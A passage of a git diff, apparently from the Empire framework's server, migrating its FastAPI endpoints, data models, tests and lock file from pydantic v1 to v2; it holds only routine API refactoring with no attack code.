+11,7 @@ PluginTasks, domain_to_dto_plugin_task, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import ( BadRequestResponse, NotFoundResponse, @@ -49,7 +48,7 @@ async def get_plugin(plugin_id: str): raise HTTPException(404, f"Plugin not found for id {plugin_id}") -async def get_task(uid: int, db: Session = Depends(get_db), plugin=Depends(get_plugin)): +async def get_task(uid: int, db: CurrentSession, plugin=Depends(get_plugin)): task = plugin_service.get_task(db, plugin.info["Name"], uid) if task: @@ -65,6 +64,7 @@ async def get_task(uid: int, db: Session = Depends(get_db), plugin=Depends(get_p @router.get("/tasks", response_model=PluginTasks) async def read_tasks_all_plugins( + db: CurrentSession, limit: int = -1, page: int = 1, include_full_input: bool = False, @@ -77,7 +77,6 @@ async def read_tasks_all_plugins( users: list[int] | None = Query(None), tags: list[TagStr] | None = Query(None), query: str | None = None, - db: Session = Depends(get_db), ): tasks, total = plugin_service.get_tasks( db, @@ -113,6 +112,7 @@ async def read_tasks_all_plugins( @router.get("/{plugin_id}/tasks", response_model=PluginTasks) async def read_tasks( + db: CurrentSession, limit: int = -1, page: int = 1, include_full_input: bool = False, @@ -123,7 +123,6 @@ async def read_tasks( status: PluginTaskStatus | None = None, users: list[int] | None = Query(None), tags: list[TagStr] | None = Query(None), - db: Session = Depends(get_db), plugin=Depends(get_plugin), query: str | None = None, ): @@ -162,7 +161,7 @@ async def read_tasks( @router.get("/{plugin_id}/tasks/{uid}", response_model=PluginTask) async def read_task( uid: int, - db: Session = Depends(get_db), + db: CurrentSession, plugin=Depends(get_plugin), db_task: models.PluginTask = Depends(get_task), ): diff --git a/empire/server/api/v2/plugin/plugin_task_dto.py b/empire/server/api/v2/plugin/plugin_task_dto.py index 5cd341461..36f3c1bdb 100644 --- a/empire/server/api/v2/plugin/plugin_task_dto.py +++ b/empire/server/api/v2/plugin/plugin_task_dto.py @@ -44,13 +44,13 @@ def domain_to_dto_plugin_task( class PluginTask(BaseModel): id: int input: str - full_input: str | None - output: str | None - user_id: int | None - username: str | None + full_input: str | None = None + output: str | None = None + user_id: int | None = None + username: str | None = None plugin_id: str downloads: list[DownloadDescription] - status: models.PluginTaskStatus | None + status: models.PluginTaskStatus | None = None created_at: datetime updated_at: datetime tags: list[Tag] diff --git a/empire/server/api/v2/profile/profile_api.py b/empire/server/api/v2/profile/profile_api.py index 8987af879..410855e43 100644 --- a/empire/server/api/v2/profile/profile_api.py +++ b/empire/server/api/v2/profile/profile_api.py @@ -1,5 +1,4 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from starlette.responses import Response from starlette.status import HTTP_204_NO_CONTENT @@ -11,7 +10,7 @@ Profiles, ProfileUpdateRequest, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.core.db import models from empire.server.server import main @@ -29,7 +28,7 @@ ) -async def get_profile(uid: int, db: Session = Depends(get_db)): +async def get_profile(uid: int, db: CurrentSession): profile = profile_service.get_by_id(db, uid) if profile: @@ -44,7 +43,7 @@ async def read_profile(uid: int, db_profile: models.Profile = Depends(get_profil @router.get("/", response_model=Profiles) -async def read_profiles(db: Session = Depends(get_db)): +async def read_profiles(db: CurrentSession): profiles = profile_service.get_all(db) return {"records": profiles} @@ -55,9 +54,7 @@ async def read_profiles(db: Session = Depends(get_db)): status_code=201, response_model=Profile, ) -async def create_profile( - profile_req: ProfilePostRequest, db: Session = Depends(get_db) -): +async def create_profile(profile_req: ProfilePostRequest, db: CurrentSession): resp, err = profile_service.create_profile(db, profile_req) if err: @@ -70,7 +67,7 @@ async def create_profile( async def update_profile( uid: int, profile_req: ProfileUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_profile: models.Profile = Depends(get_profile), ): resp, err = profile_service.update_profile(db, db_profile, profile_req) @@ -88,7 +85,7 @@ async def update_profile( ) async def delete_profile( uid: str, - db: Session = Depends(get_db), + db: CurrentSession, db_profile: models.Profile = Depends(get_profile), ): profile_service.delete_profile(db, db_profile) @@ -100,7 +97,7 @@ async def delete_profile( response_class=Response, ) async def reload_profiles( - db: Session = Depends(get_db), + db: CurrentSession, ): profile_service.load_malleable_profiles(db) @@ -111,7 +108,7 @@ async def reload_profiles( response_class=Response, ) async def reset_profiles( - db: Session = Depends(get_db), + db: CurrentSession, ): profile_service.delete_all_profiles(db) profile_service.load_malleable_profiles(db) diff --git a/empire/server/api/v2/profile/profile_dto.py b/empire/server/api/v2/profile/profile_dto.py index c5ff96e1f..485f5bcb9 100644 --- a/empire/server/api/v2/profile/profile_dto.py +++ b/empire/server/api/v2/profile/profile_dto.py @@ -1,19 +1,17 @@ from datetime import datetime -from pydantic import BaseModel +from pydantic import BaseModel, ConfigDict class Profile(BaseModel): id: int name: str - file_path: str | None # todo vr needed? + file_path: str | None = None # todo vr needed? category: str data: str created_at: datetime updated_at: datetime - - class Config: - orm_mode = True + model_config = ConfigDict(from_attributes=True) class Profiles(BaseModel): diff --git a/empire/server/api/v2/shared_dependencies.py b/empire/server/api/v2/shared_dependencies.py index 8dcb4d3c4..85c87f678 100644 --- a/empire/server/api/v2/shared_dependencies.py +++ b/empire/server/api/v2/shared_dependencies.py @@ -1,6 +1,14 @@ +from typing import Annotated + +from fastapi import Depends +from sqlalchemy.orm import Session + from empire.server.core.db.base import SessionLocal def get_db(): with SessionLocal.begin() as db: yield db + + +CurrentSession = Annotated[Session, Depends(get_db)] diff --git a/empire/server/api/v2/shared_dto.py b/empire/server/api/v2/shared_dto.py index c43185688..353ad15f4 100644 --- a/empire/server/api/v2/shared_dto.py +++ b/empire/server/api/v2/shared_dto.py @@ -1,7 +1,7 @@ from enum import Enum -from typing import Any +from typing import Annotated, Any -from pydantic import BaseModel +from pydantic import BaseModel, BeforeValidator, ConfigDict, field_validator from empire.server.core.db import models @@ -30,6 +30,18 @@ class CustomOptionSchema(BaseModel): strict: bool value_type: ValueType + # Ensure the functionality of pydantic v1 coercing values to strings + # https://github.com/pydantic/pydantic/issues/5606 + @field_validator("value", mode="plain") + @classmethod + def check_value(cls, v): + return str(v) + + @field_validator("suggested_values", mode="plain") + @classmethod + def check_suggested_values(cls, v): + return [str(value) for value in v] + class OrderDirection(str, Enum): asc = "asc" @@ -40,15 +52,13 @@ class DownloadDescription(BaseModel): id: int filename: str link: str - - class Config: - orm_mode = True + model_config = ConfigDict(from_attributes=True) class Author(BaseModel): - name: str | None - handle: str | None - link: str | None + name: str | None = None + handle: str | None = None + link: str | None = None def domain_to_dto_download_description(download: models.Download): @@ -80,6 +90,20 @@ def to_value_type(value: Any, type: str = "") -> ValueType: return ValueType.string +def to_string(value): + return str(value) + + +# This is sort of an undocumented behavior for the Empire API. The openapi spec says +# the values should be strings, but it has allowed other types. +# The behavior in pydantic v1 was to just coerce values to strings, but in v2 +# this behavior was changed to raise a validation error. Using this custom +# type with a BeforeValidator allows us to coerce the value to a string before +# validation. +# This could be removed in Empire 6 as a breaking change. +coerced_dict = dict[str, Annotated[str, BeforeValidator(to_string)]] + + # Set proxy IDs PROXY_NAME = { "SOCKS4": 1, diff --git a/empire/server/api/v2/stager/stager_api.py b/empire/server/api/v2/stager/stager_api.py index 948f8ffa1..65edb0ad3 100644 --- a/empire/server/api/v2/stager/stager_api.py +++ b/empire/server/api/v2/stager/stager_api.py @@ -1,11 +1,10 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from starlette.responses import Response from starlette.status import HTTP_204_NO_CONTENT from empire.server.api.api_router import APIRouter -from empire.server.api.jwt_auth import get_current_active_user -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.jwt_auth import CurrentActiveUser, get_current_active_user +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.api.v2.stager.stager_dto import ( Stager, @@ -30,7 +29,7 @@ ) -async def get_stager(uid: int, db: Session = Depends(get_db)): +async def get_stager(uid: int, db: CurrentSession): stager = stager_service.get_by_id(db, uid) if stager: @@ -40,7 +39,7 @@ async def get_stager(uid: int, db: Session = Depends(get_db)): @router.get("/", response_model=Stagers) -async def read_stagers(db: Session = Depends(get_db)): +async def read_stagers(db: CurrentSession): stagers = list(map(lambda x: domain_to_dto_stager(x), stager_service.get_all(db))) return {"records": stagers} @@ -54,8 +53,8 @@ async def read_stager(uid: int, db_stager: models.Stager = Depends(get_stager)): @router.post("/", status_code=201, response_model=Stager) async def create_stager( stager_req: StagerPostRequest, - db: Session = Depends(get_db), - current_user: models.User = Depends(get_current_active_user), + current_user: CurrentActiveUser, + db: CurrentSession, save: bool = True, ): resp, err = stager_service.create_stager( @@ -72,7 +71,7 @@ async def create_stager( async def update_stager( uid: int, stager_req: StagerUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_stager: models.Stager = Depends(get_stager), ): resp, err = stager_service.update_stager(db, db_stager, stager_req) @@ -90,7 +89,7 @@ async def update_stager( ) async def delete_stager( uid: int, - db: Session = Depends(get_db), + db: CurrentSession, db_stager: models.Stager = Depends(get_stager), ): stager_service.delete_stager(db, db_stager) diff --git a/empire/server/api/v2/stager/stager_dto.py b/empire/server/api/v2/stager/stager_dto.py index 2e776550a..ed3e45099 100644 --- a/empire/server/api/v2/stager/stager_dto.py +++ b/empire/server/api/v2/stager/stager_dto.py @@ -1,11 +1,12 @@ from datetime import datetime -from pydantic import BaseModel +from pydantic import BaseModel, ConfigDict from empire.server.api.v2.shared_dto import ( Author, CustomOptionSchema, DownloadDescription, + coerced_dict, domain_to_dto_download_description, to_value_type, ) @@ -74,9 +75,8 @@ class StagerTemplate(BaseModel): description: str comments: list[str] options: dict[str, CustomOptionSchema] - - class Config: - schema_extra = { + model_config = ConfigDict( + json_schema_extra={ "example": { "id": "multi_launcher", "name": "Launcher", @@ -171,6 +171,7 @@ class Config: }, } } + ) class StagerTemplates(BaseModel): @@ -183,10 +184,11 @@ class Stager(BaseModel): template: str one_liner: bool downloads: list[DownloadDescription] - options: dict[str, str] + options: coerced_dict user_id: int - created_at: datetime | None # optional because if its not saved yet, it will be None - updated_at: datetime | None + # optional because if its not saved yet, it will be None + created_at: datetime | None = None + updated_at: datetime | None = None class Stagers(BaseModel): @@ -196,10 +198,9 @@ class Stagers(BaseModel): class StagerPostRequest(BaseModel): name: str template: str - options: dict[str, str] - - class Config: - schema_extra = { + options: coerced_dict + model_config = ConfigDict( + json_schema_extra={ "example": { "name": "MyStager", "template": "multi_launcher", @@ -219,11 +220,12 @@ class Config: }, } } + ) class StagerUpdateRequest(BaseModel): name: str - options: dict[str, str] + options: coerced_dict def __iter__(self): return iter(self.__root__) diff --git a/empire/server/api/v2/tag/tag_api.py b/empire/server/api/v2/tag/tag_api.py index 9597fbd5d..b2c3508c6 100644 --- a/empire/server/api/v2/tag/tag_api.py +++ b/empire/server/api/v2/tag/tag_api.py @@ -1,13 +1,12 @@ import math from fastapi import Depends, HTTPException, Query -from sqlalchemy.orm import Session from starlette.responses import Response from starlette.status import HTTP_201_CREATED, HTTP_204_NO_CONTENT from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import ( BadRequestResponse, NotFoundResponse, @@ -39,7 +38,7 @@ @router.get("/") async def get_tags( - db: Session = Depends(get_db), + db: CurrentSession, limit: int = -1, page: int = 1, order_direction: OrderDirection = OrderDirection.asc, @@ -69,7 +68,7 @@ async def get_tags( def add_endpoints_to_taggable(router, path, get_taggable): - async def get_tag(tag_id: int, db: Session = Depends(get_db)): + async def get_tag(tag_id: int, db: CurrentSession): tag = tag_service.get_by_id(db, tag_id) if tag: @@ -80,8 +79,8 @@ async def get_tag(tag_id: int, db: Session = Depends(get_db)): async def add_tag( uid: int | str, tag_req: TagRequest, + db: CurrentSession, db_taggable=Depends(get_taggable), - db: Session = Depends(get_db), ): tag = tag_service.add_tag(db, db_taggable, tag_req) @@ -90,9 +89,9 @@ async def add_tag( async def update_tag( uid: int | str, tag_req: TagRequest, + db: CurrentSession, db_taggable=Depends(get_taggable), db_tag: models.Tag = Depends(get_tag), - db: Session = Depends(get_db), ): tag = tag_service.update_tag(db, db_tag, db_taggable, tag_req) @@ -101,8 +100,8 @@ async def update_tag( async def delete_tag( uid: int | str, tag_id: int, + db: CurrentSession, db_taggable=Depends(get_taggable), - db: Session = Depends(get_db), ): tag_service.delete_tag(db, db_taggable, tag_id) diff --git a/empire/server/api/v2/tag/tag_dto.py b/empire/server/api/v2/tag/tag_dto.py index 2a9b2f962..61916b123 100644 --- a/empire/server/api/v2/tag/tag_dto.py +++ b/empire/server/api/v2/tag/tag_dto.py @@ -1,14 +1,15 @@ from enum import Enum +from typing import Annotated -from pydantic import BaseModel, constr +from pydantic import BaseModel, StringConstraints from empire.server.core.db import models # Validate the string contains 1 colon -TagStr = constr(regex=r"^[^:]+:[^:]+$") +TagStr = Annotated[str, StringConstraints(pattern=r"^[^:]+:[^:]+$")] # Validate the string has no colons -TagStrNoColon = constr(regex=r"^[^:]+$") +TagStrNoColon = Annotated[str, StringConstraints(pattern=r"^[^:]+$")] class TagSourceFilter(str, Enum): @@ -25,7 +26,7 @@ class Tag(BaseModel): name: str value: str label: str - color: str | None + color: str | None = None class Tags(BaseModel): @@ -39,7 +40,7 @@ class Tags(BaseModel): class TagRequest(BaseModel): name: TagStrNoColon value: TagStrNoColon - color: str | None + color: str | None = None class TagOrderOptions(str, Enum): diff --git a/empire/server/api/v2/user/user_api.py b/empire/server/api/v2/user/user_api.py index c7cce3d7b..5758a3a77 100644 --- a/empire/server/api/v2/user/user_api.py +++ b/empire/server/api/v2/user/user_api.py @@ -2,12 +2,12 @@ from fastapi import Depends, File, HTTPException, UploadFile from fastapi.security import OAuth2PasswordRequestForm -from sqlalchemy.orm import Session from starlette import status from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import ( ACCESS_TOKEN_EXPIRE_MINUTES, + CurrentActiveUser, Token, authenticate_user, create_access_token, @@ -15,7 +15,7 @@ get_current_active_user, get_password_hash, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.api.v2.user.user_dto import ( User, @@ -41,7 +41,7 @@ ) -async def get_user(uid: int, db: Session = Depends(get_db)): +async def get_user(uid: int, db: CurrentSession): user = user_service.get_by_id(db, uid) if user: @@ -52,7 +52,8 @@ async def get_user(uid: int, db: Session = Depends(get_db)): @router.post("/token", response_model=Token) async def login_for_access_token( - form_data: OAuth2PasswordRequestForm = Depends(), db: Session = Depends(get_db) + db: CurrentSession, + form_data: OAuth2PasswordRequestForm = Depends(), ): user = authenticate_user(db, form_data.username, form_data.password) if not user: @@ -69,7 +70,7 @@ async def login_for_access_token( @router.get("/api/v2/users/me", response_model=User) -async def read_user_me(current_user: User = Depends(get_current_active_user)): +async def read_user_me(current_user: CurrentActiveUser): return domain_to_dto_user(current_user) @@ -78,7 +79,7 @@ async def read_user_me(current_user: User = Depends(get_current_active_user)): response_model=Users, dependencies=[Depends(get_current_active_user)], ) -async def read_users(db: Session = Depends(get_db)): +async def read_users(db: CurrentSession): users = list(map(lambda x: domain_to_dto_user(x), user_service.get_all(db))) return {"records": users} @@ -98,7 +99,7 @@ async def read_user(uid: int, db_user: models.User = Depends(get_user)): status_code=201, dependencies=[Depends(get_current_active_admin_user)], ) -async def create_user(user: UserPostRequest, db: Session = Depends(get_db)): +async def create_user(user: UserPostRequest, db: CurrentSession): resp, err = user_service.create_user( db, user.username, get_password_hash(user.password), user.is_admin ) @@ -113,8 +114,8 @@ async def create_user(user: UserPostRequest, db: Session = Depends(get_db)): async def update_user( uid: int, user_req: UserUpdateRequest, - current_user: models.User = Depends(get_current_active_user), - db: Session = Depends(get_db), + current_user: CurrentActiveUser, + db: CurrentSession, db_user: models.User = Depends(get_user), ): if not (current_user.admin or current_user.id == uid): @@ -142,8 +143,8 @@ async def update_user( async def update_user_password( uid: int, user_req: UserUpdatePasswordRequest, - current_user: models.User = Depends(get_current_active_user), - db: Session = Depends(get_db), + current_user: CurrentActiveUser, + db: CurrentSession, db_user: models.User = Depends(get_user), ): if not current_user.id == uid: @@ -165,8 +166,8 @@ async def update_user_password( @router.post("/api/v2/users/{uid}/avatar", status_code=201) async def create_avatar( uid: int, - db: Session = Depends(get_db), - user: models.User = Depends(get_current_active_user), + user: CurrentActiveUser, + db: CurrentSession, file: UploadFile = File(...), ): if not user.id == uid: diff --git a/empire/server/api/v2/user/user_dto.py b/empire/server/api/v2/user/user_dto.py index a2a5730b4..ec6f392e3 100644 --- a/empire/server/api/v2/user/user_dto.py +++ b/empire/server/api/v2/user/user_dto.py @@ -29,7 +29,7 @@ class User(BaseModel): username: str enabled: bool is_admin: bool - avatar: DownloadDescription | None + avatar: DownloadDescription | None = None created_at: datetime updated_at: datetime diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index db044bc01..5245573f5 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -359,7 +359,7 @@ class TemporaryTask(BaseModel): agent_id: str task_name: str input_full: str - module_name: str | None + module_name: str | None = None def add_temporary_task( self, agent_id: str, task_name, task_input="", module_name: str = None diff --git a/empire/server/core/config.py b/empire/server/core/config.py index c1570c711..dedee5559 100644 --- a/empire/server/core/config.py +++ b/empire/server/core/config.py @@ -3,13 +3,14 @@ from pathlib import Path import yaml -from pydantic import BaseModel, Extra, Field, validator +from pydantic import BaseModel, ConfigDict, Field, field_validator log = logging.getLogger(__name__) class EmpireBaseModel(BaseModel): - @validator("*") + @classmethod + @field_validator("*") def set_path(cls, v): if isinstance(v, Path): return v.expanduser().resolve() @@ -94,14 +95,13 @@ class EmpireConfig(EmpireBaseModel): logging: LoggingConfig debug: DebugConfig + model_config = ConfigDict(extra="allow") + def __init__(self, config_dict: dict): super().__init__(**config_dict) # For backwards compatibility self.yaml = config_dict - class Config: - extra = Extra.allow - def set_yaml(location: str): location = Path(location).expanduser().resolve() diff --git a/empire/server/core/module_models.py b/empire/server/core/module_models.py index 820c15639..d18930b30 100644 --- a/empire/server/core/module_models.py +++ b/empire/server/core/module_models.py @@ -1,7 +1,7 @@ from enum import Enum from typing import Any -from pydantic import BaseModel +from pydantic import BaseModel, field_validator class LanguageEnum(str, Enum): @@ -19,13 +19,26 @@ class EmpireModuleAdvanced(BaseModel): class EmpireModuleOption(BaseModel): name: str - name_in_code: str | None + name_in_code: str | None = None description: str = "" required: bool = False value: str = "" suggested_values: list[str] = [] strict: bool = False - type: str | None + type: str | None = None + + # Ensure the functionality of pydantic v1 coercing values to strings + # https://github.com/pydantic/pydantic/issues/5606 + @field_validator("value", mode="plain") + @classmethod + def check_value(cls, v): + return str(v) + + # @classmethod + @field_validator("suggested_values", mode="plain") + @classmethod + def check_suggested_values(cls, v): + return [str(value) for value in v] class EmpireModuleAuthor(BaseModel): @@ -47,7 +60,7 @@ class EmpireModule(BaseModel): needs_admin: bool = False opsec_safe: bool = False language: LanguageEnum - min_language_version: str | None + min_language_version: str | None = None comments: list[str] = [] options: list[EmpireModuleOption] = [] script: str | None = None @@ -55,7 +68,7 @@ class EmpireModule(BaseModel): script_end: str = " {{ PARAMS }}" enabled: bool = True advanced: EmpireModuleAdvanced = EmpireModuleAdvanced() - compiler_yaml: str | None + compiler_yaml: str | None = None def matches(self, query: str, parameter: str = "any") -> bool: query = query.lower() diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index b45e7821b..1d3ca4678 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -698,9 +698,9 @@ def test_create_task_update_sleep_validates_fields(client, admin_auth_header, ag filter(lambda x: "jitter" in x["loc"], response.json()["detail"]) )[0] assert delay_err["loc"] == ["body", "delay"] - assert delay_err["msg"] == "ensure this value is greater than or equal to 0" + assert delay_err["msg"] == "Input should be greater than or equal to 0" assert jitter_err["loc"] == ["body", "jitter"] - assert jitter_err["msg"] == "ensure this value is less than or equal to 1" + assert jitter_err["msg"] == "Input should be less than or equal to 1" def test_create_task_update_sleep(client, admin_auth_header, agent): diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py index 7061987ad..d0bf0f4ce 100644 --- a/empire/test/test_obfuscation_api.py +++ b/empire/test/test_obfuscation_api.py @@ -68,7 +68,7 @@ def test_create_keyword_validate_length(client, admin_auth_header): assert response.status_code == 422 assert ( response.json()["detail"][0]["msg"] - == "ensure this value has at least 3 characters" + == "String should have at least 3 characters" ) diff --git a/empire/test/test_tags_api.py b/empire/test/test_tags_api.py index 95b38cfa3..285b5874f 100644 --- a/empire/test/test_tags_api.py +++ b/empire/test/test_tags_api.py @@ -14,15 +14,19 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): "detail": [ { "ctx": {"pattern": "^[^:]+$"}, + "input": "test:tag", "loc": ["body", "name"], - "msg": 'string does not match regex "^[^:]+$"', - "type": "value_error.str.regex", + "msg": "String should match pattern '^[^:]+$'", + "type": "string_pattern_mismatch", + "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, { "ctx": {"pattern": "^[^:]+$"}, + "input": "test:value", "loc": ["body", "value"], - "msg": 'string does not match regex "^[^:]+$"', - "type": "value_error.str.regex", + "msg": "String should match pattern '^[^:]+$'", + "type": "string_pattern_mismatch", + "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, ] } @@ -121,15 +125,19 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): "detail": [ { "ctx": {"pattern": "^[^:]+$"}, + "input": "test:tag", "loc": ["body", "name"], - "msg": 'string does not match regex "^[^:]+$"', - "type": "value_error.str.regex", + "msg": "String should match pattern '^[^:]+$'", + "type": "string_pattern_mismatch", + "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, { "ctx": {"pattern": "^[^:]+$"}, + "input": "test:value", "loc": ["body", "value"], - "msg": 'string does not match regex "^[^:]+$"', - "type": "value_error.str.regex", + "msg": "String should match pattern '^[^:]+$'", + "type": "string_pattern_mismatch", + "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, ] } @@ -419,7 +427,7 @@ def test_get_agent_tasks_tag_filter( assert resp.status_code == 422 assert ( - resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"' + resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'" ) @@ -502,7 +510,7 @@ def test_get_plugin_tasks_tag_filter( assert resp.status_code == 422 assert ( - resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"' + resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'" ) @@ -591,5 +599,5 @@ def test_get_downloads_tag_filter( assert resp.status_code == 422 assert ( - resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"' + resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'" ) diff --git a/poetry.lock b/poetry.lock index 0f442af78..a6cd43b5a 100644 --- a/poetry.lock +++ b/poetry.lock @@ -22,6 +22,17 @@ files = [ {file = "altgraph-0.17.4.tar.gz", hash = "sha256:1b5afbb98f6c4dcadb2e2ae6ab9fa994bbb8c1d75f4fa96d340f9437ae454406"}, ] +[[package]] +name = "annotated-types" +version = "0.6.0" +description = "Reusable constraint types to use with typing.Annotated" +optional = false +python-versions = ">=3.8" +files = [ + {file = "annotated_types-0.6.0-py3-none-any.whl", hash = "sha256:0641064de18ba7a25dee8f96403ebc39113d0cb953a01429249d5c7564666a43"}, + {file = "annotated_types-0.6.0.tar.gz", hash = "sha256:563339e807e53ffd9c267e99fc6d9ea23eb8443c08f112651963e24e22f84a5d"}, +] + [[package]] name = "antlr4-python3-runtime" version = "4.9.3" @@ -34,24 +45,24 @@ files = [ [[package]] name = "anyio" -version = "4.0.0" +version = "3.7.1" description = "High level compatibility layer for multiple asynchronous event loop implementations" optional = false -python-versions = ">=3.8" +python-versions = ">=3.7" files = [ - {file = "anyio-4.0.0-py3-none-any.whl", hash = "sha256:cfdb2b588b9fc25ede96d8db56ed50848b0b649dca3dd1df0b11f683bb9e0b5f"}, - {file = "anyio-4.0.0.tar.gz", hash = "sha256:f7ed51751b2c2add651e5747c891b47e26d2a21be5d32d9311dfe9692f3e5d7a"}, + {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"}, + {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"}, ] [package.dependencies] -exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} +exceptiongroup = {version = "*", markers = "python_version < \"3.11\""} idna = ">=2.8" sniffio = ">=1.1" [package.extras] -doc = ["Sphinx (>=7)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)"] -test = ["anyio[trio]", "coverage[toml] (>=7)", "hypothesis (>=4.0)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] -trio = ["trio (>=0.22)"] +doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"] +test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] +trio = ["trio (<0.22)"] [[package]] name = "attrs" @@ -736,22 +747,23 @@ test = ["pytest (>=6)"] [[package]] name = "fastapi" -version = "0.99.1" +version = "0.104.1" description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "fastapi-0.99.1-py3-none-any.whl", hash = "sha256:976df7bab51ac7beda9f68c4513b8c4490b5c1135c72aafd0a5ee4023ec5282e"}, - {file = "fastapi-0.99.1.tar.gz", hash = "sha256:ac78f717cd80d657bd183f94d33b9bda84aa376a46a9dab513586b8eef1dc6fc"}, + {file = "fastapi-0.104.1-py3-none-any.whl", hash = "sha256:752dc31160cdbd0436bb93bad51560b57e525cbb1d4bbf6f4904ceee75548241"}, + {file = "fastapi-0.104.1.tar.gz", hash = "sha256:e5e4540a7c5e1dcfbbcf5b903c234feddcdcd881f191977a1c5dfd917487e7ae"}, ] [package.dependencies] -pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" +anyio = ">=3.7.1,<4.0.0" +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0 || >2.0.0,<2.0.1 || >2.0.1,<2.1.0 || >2.1.0,<3.0.0" starlette = ">=0.27.0,<0.28.0" -typing-extensions = ">=4.5.0" +typing-extensions = ">=4.8.0" [package.extras] -all = ["email-validator (>=1.1.1)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=2.11.2)", "orjson (>=3.2.1)", "python-multipart (>=0.0.5)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] +all = ["email-validator (>=2.0.0)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=2.11.2)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.5)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] [[package]] name = "flask" @@ -1647,55 +1659,140 @@ files = [ [[package]] name = "pydantic" -version = "1.10.13" -description = "Data validation and settings management using python type hints" +version = "2.4.2" +description = "Data validation using Python type hints" optional = false python-versions = ">=3.7" files = [ - {file = "pydantic-1.10.13-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:efff03cc7a4f29d9009d1c96ceb1e7a70a65cfe86e89d34e4a5f2ab1e5693737"}, - {file = "pydantic-1.10.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3ecea2b9d80e5333303eeb77e180b90e95eea8f765d08c3d278cd56b00345d01"}, - {file = "pydantic-1.10.13-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1740068fd8e2ef6eb27a20e5651df000978edce6da6803c2bef0bc74540f9548"}, - {file = "pydantic-1.10.13-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:84bafe2e60b5e78bc64a2941b4c071a4b7404c5c907f5f5a99b0139781e69ed8"}, - {file = "pydantic-1.10.13-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bc0898c12f8e9c97f6cd44c0ed70d55749eaf783716896960b4ecce2edfd2d69"}, - {file = "pydantic-1.10.13-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:654db58ae399fe6434e55325a2c3e959836bd17a6f6a0b6ca8107ea0571d2e17"}, - {file = "pydantic-1.10.13-cp310-cp310-win_amd64.whl", hash = "sha256:75ac15385a3534d887a99c713aa3da88a30fbd6204a5cd0dc4dab3d770b9bd2f"}, - {file = 